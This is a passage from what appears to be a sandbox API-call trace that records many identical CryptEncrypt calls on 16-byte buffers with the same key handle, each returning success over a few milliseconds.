pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.049] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.050] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.051] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.052] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 